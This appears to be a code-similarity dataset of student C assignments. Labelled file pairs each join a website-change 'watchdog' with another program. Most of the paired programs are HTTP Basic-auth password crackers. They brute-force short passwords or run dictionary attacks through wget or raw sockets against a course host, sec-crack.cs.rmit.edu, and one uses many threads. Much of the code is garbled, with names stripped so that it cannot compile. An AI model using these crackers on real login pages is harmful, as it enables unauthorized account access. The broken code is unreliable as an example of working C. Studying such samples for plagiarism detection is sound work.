#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
032.c
051.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
032.c
066.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
032.c
026.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
032.c
067.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
032.c
024.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
032.c
009.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
001.c
069.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
0
001.c
073.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include <netdb.h> #include <unistd.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <arpa/inet.h> #include <errno.h> #include <signal.h> #define BUFFER_SIZE 2000 #define RETURN_OK 0 #define RETURN_ERROR 1 #define TRUE 1 #define FALSE 0 #define PASSWORD_LENGTH 3 #define STATUS_OK 200 #define STATUS_AUTH_REQUIRED 401 #define CONN_CLOSED 2 char *host; char *filename; int ; char *url; char *username; int attempt; struct sockaddr_in serverAddr; void processArguments(int, char **argv, char **, char **); void printUsage(char *); void splitURL(const char *, char **, char **); int openConnection(); void initialiseConnection(); void sendRequest(int, char *, char *, char *, char *); int getResponseStatus(int); void base64_encode(const unsigned char *, unsigned char *); void getHostErrorMsg(char *); void generatePassword(char *, int); void testPassword(char *); int main(int argc, char *argv[]) { char password[PASSWORD_LENGTH+1]; int i; attempt = 0; processArguments(argc, argv, &url, &username); splitURL(url, &host, &filename); initialiseConnection(); = openConnection(); for (i=1; i<=PASSWORD_LENGTH; i++) { memset(password, 0, PASSWORD_LENGTH+1); generatePassword(password, i); } printf("The password has not been cracked\n"); exit(RETURN_OK); } void generatePassword(char *password, int reqLength) { static const char *chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; int currLength; int i; currLength = strlen(password); currLength++; for (i=0; i<strlen(chars); i++) { password[currLength-1] = chars[i]; if (strlen(password) != reqLength) { generatePassword(password, reqLength); } else { testPassword(password); } password[currLength] = '\0'; } } void testPassword(char *password) { int status; attempt++; TestPassword: sendRequest(, host, filename, username, password); status = getResponseStatus(); if (status == STATUS_OK) { printf("The password has been found after %d attempts: %s\n", attempt, password); exit(RETURN_OK); } else if (status == CONN_CLOSED) { (); = openConnection(); goto TestPassword; } else if (status != STATUS_AUTH_REQUIRED) { printf("Status %d received from server\n", status); exit(RETURN_ERROR); } } void processArguments(int argc, char *argv[], char **url, char **username) { if (argc != 3) { printUsage(argv[0]); exit(1); } *url = (char *) malloc(strlen(argv[1] + 1)); strcpy(*url, argv[1]); *username = (char *) malloc(strlen(argv[2] + 1)); strcpy(*username, argv[2]); } void printUsage(char *program) { fprintf(stderr, "Usage:\n"); fprintf(stderr, "%s url username\n", program); } void splitURL(const char *url, char **host, char **file) { char *p1; char *p2; p1 = strstr(url, "//"); if (p1 == NULL) p1 = (char *) url; else p1 = p1 + 2; p2 = strstr(p1, "/"); if (p2 == NULL) { fprintf(stderr, "Invalid url\n"); exit(RETURN_ERROR); } *host = (char *) malloc(p2-p1+2); strncpy(*host, p1, p2-p1); (*host)[p2-p1] = '\0'; *file = (char *) malloc(strlen(p2+1)); strcpy(*file, p2); } void sendRequest(int , char *host, char *filename, char *username, char *password) { char message[BUFFER_SIZE]; unsigned char encoded[BUFFER_SIZE]; unsigned char token[BUFFER_SIZE]; sprintf((char *) token, "%s:%s", username, password); base64_encode(token, encoded); sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization: %s\n\n", filename, host, encoded); if (write(, message, strlen(message)) == -1) { perror(""); exit(RETURN_ERROR); } } int getResponseStatus() { char message[BUFFER_SIZE]; int bytesRead; char *p1; char status_str[4]; int status; while (TRUE) { bytesRead = (, message, BUFFER_SIZE-1); if (bytesRead == -1) { perror(""); exit(RETURN_ERROR); } else if (bytesRead == 0) { return CONN_CLOSED; } message[bytesRead+1] = '\0'; p1 = strstr(message, "HTTP"); if (p1 != NULL) { p1 = p1 + 9; break; } } strncpy(status_str, p1, 3); status_str[3] = '\0'; status = atol(status_str); return status; } int openConnection() { int ; if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(""); exit(RETURN_ERROR); } if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1) { perror("connect"); exit(RETURN_ERROR); } return ; } void initialiseConnection() { struct hostent *serverHostent; unsigned serverIP; char errorMsg[BUFFER_SIZE]; memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_port = htons(80); if ((serverIP = inet_addr(host)) != -1) { serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = serverIP; } else if ((serverHostent = gethostbyname(host)) != NULL) { serverAddr.sin_family = serverHostent->h_addrtype; memcpy((void *) &serverAddr.sin_addr, (void *) serverHostent->h_addr, serverHostent->h_length); } else { getHostErrorMsg(errorMsg); printf("%s: %s\n", host, errorMsg); exit(RETURN_ERROR); } } void base64_encode(const unsigned char *input, unsigned char *output) { static const char *codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; int i; int len; int lenfull; unsigned char *p; int a; int b; int c; p = output; len = strlen((char *) input); lenfull = 3*(len / 3); for (i = 0; i < lenfull; i += 3) { *p++ = codes[input[0] >> 2]; *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)]; *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)]; *p++ = codes[input[2] & 0x3f]; input += 3; } if (i < len) { a = input[0]; b = (i+1 < len) ? input[1] : 0; c = 0; *p++ = codes[a >> 2]; *p++ = codes[((a & 3) << 4) + (b >> 4)]; *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '='; *p++ = '='; } *p = '\0'; } void getHostErrorMsg(char *message) { switch (h_errno) { HOST_NOT_FOUND : strcpy(message, "The specified host is unknown"); break; NO_DATA: strcpy(message, "The specified host name is valid, but does not have address"); break; NO_RECOVERY: strcpy(message, "A non-recoverable name server error occurred"); break; TRY_AGAIN: strcpy(message, "A temporary error occurred authoritative name server. Try again later."); break; default: strcpy(message, " unknown name server error occurred."); } }
0
001.c
010.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <errno.h> int () { while (1) { system("wget -p www.cs.rmit.edu.");\ system("mkdir sitefiles"); system("cp www.cs.rmit.edu./index.html sitefiles"); system("diff sitefiles/index.html www.cs.rmit.edu./index.html | mail @cs.rmit.edu."); system("md5sum www.cs.rmit.edu./images/*.* > imageInfo.txt"); system("diff imageInfo.txt sitefiles/imageInfo.txt | mail @cs.rmit.edu."); system("cp imageInfo.txt sitefiles"); sleep(86400); } }
0
001.c
035.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#define _REENTRANT #include <sys/time.h> #include <sys/types.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <ctype.h> #include <pthread.h> #include <signal.h> #define MAX_THREADS 1000 #define MAX_COMBO #define false 0 #define true 1 static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; static char **combination=NULL; static char host[128]; pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER; pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER; static int attempt_count=0; static int combo_entries=0; static struct timeval ; static struct timeval stop; static int thread_ready_indicator=false; static int thread_start_indicator=false; static int thread_count=0; typedef struct range { int ; int ; }range; void *client(void *arg) { int i=0, status=1; range *= (struct range*)arg; char local_buffer[128]; pthread_mutex_lock(&thread_lock); thread_ready_indicator=true; pthread_cond_signal(&thread_ready); while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock); fflush(stdout); pthread_mutex_unlock(&thread_lock); for(i=->; i<=-> && i<combo_entries; i++) { sprintf(local_buffer, "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s", "", combination[i], host); status=system(local_buffer); if(status==0) { printf("\n\nusername: \npassword: %s\n\n", combination[i]); fflush(stdout); pthread_mutex_lock(&counter_lock); attempt_count++; gettimeofday(&stop, NULL); printf("About %d attempts were , which took %ld.%ld seconds complete.\n", attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec)); fflush(stdout); pthread_mutex_unlock(&counter_lock); exit(EXIT_SUCCESS); } else { pthread_mutex_lock(&counter_lock); attempt_count++; pthread_mutex_unlock(&counter_lock); } } pthread_exit(NULL); } char *getNextCombination() { static int i=0; static int j=0; static int k=0; static int mode=1; char *word; if(i>51) { mode++; i=0; j=0; k=0; } if(mode==1) { char *word = calloc(mode, 1); word[0]=alphabet[i++]; word[1]='\0'; return word; } if(mode==2) { if(j>51) { i++; j=0; } if(i>51) { mode++; i=0; j=0; j=0; } else { char *word = calloc(mode, 1); word[0]=alphabet[i]; word[1]=alphabet[j++]; word[2]='\0'; return word; } } if(mode==3) { if(k>51) { j++; k=0; } if(j>51) { i++; j=0; } if(i>51) { mode++; i=0; j=0; j=0; } else { char *word = calloc(mode, 1); word[0]=alphabet[i]; word[1]=alphabet[j]; word[2]=alphabet[k++]; word[3]='\0'; return word; } } return NULL; } int main(int argc, char **argv) { int wait_status=0, i=0, j=0, num_threads=0; int partition=0, prev_min=0, prev_max=0; int len=0; char *word; range *; pthread_t tid[MAX_THREADS]; int non_alpha_detected=0; if(argc<3) { puts("Incorrect usage!"); puts("./brute num_threads url"); exit(EXIT_FAILURE); } strcpy(host, argv[2]); num_threads=atoi(argv[1]); combination = (char **)calloc(MAX_COMBO, sizeof(char *)); printf("Process ID for the thread is: %d\n", getpid()); printf("Creating brute-force dictionary ... "); while( (word=getNextCombination())!= NULL && i<MAX_COMBO) { combination[i]=calloc(strlen(word)+1, sizeof(char)); strcpy(combination[i++], word); combo_entries++; } puts(""); j=0; partition=combo_entries/num_threads; if(partition==0) { puts("Reducing the number of threads match the number of words."); num_threads=combo_entries; partition=1; } prev_min=0; prev_max=partition; i=0; memset(&, 0, sizeof(struct timeval)); memset(&stop, 0, sizeof(struct timeval)); while(i<num_threads && i<MAX_THREADS) { =malloc(sizeof(struct range)); ->=prev_min; ->=prev_max; pthread_mutex_lock(&thread_lock); thread_ready_indicator=false; pthread_mutex_unlock(&thread_lock); if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ..."); pthread_mutex_lock(&thread_lock); while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock); pthread_mutex_unlock(&thread_lock); prev_min+=partition+1; if(i==num_threads) { prev_max=combo_entries; } else { prev_max+=partition+1; } } gettimeofday(&, NULL); pthread_mutex_lock(&thread_lock); thread_start_indicator=true; pthread_mutex_unlock(&thread_lock); pthread_cond_broadcast(&start_hacking); printf("Created %d threads process %d passwords\n", num_threads, combo_entries); printf("Attacking host: %s\n", host); fflush(stdout); for(i=0; i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL); gettimeofday(&stop, NULL); puts("Could not determine the password for this site."); printf("About %d attempts were , which took %ld.%ld seconds complete.\n", attempt_count, 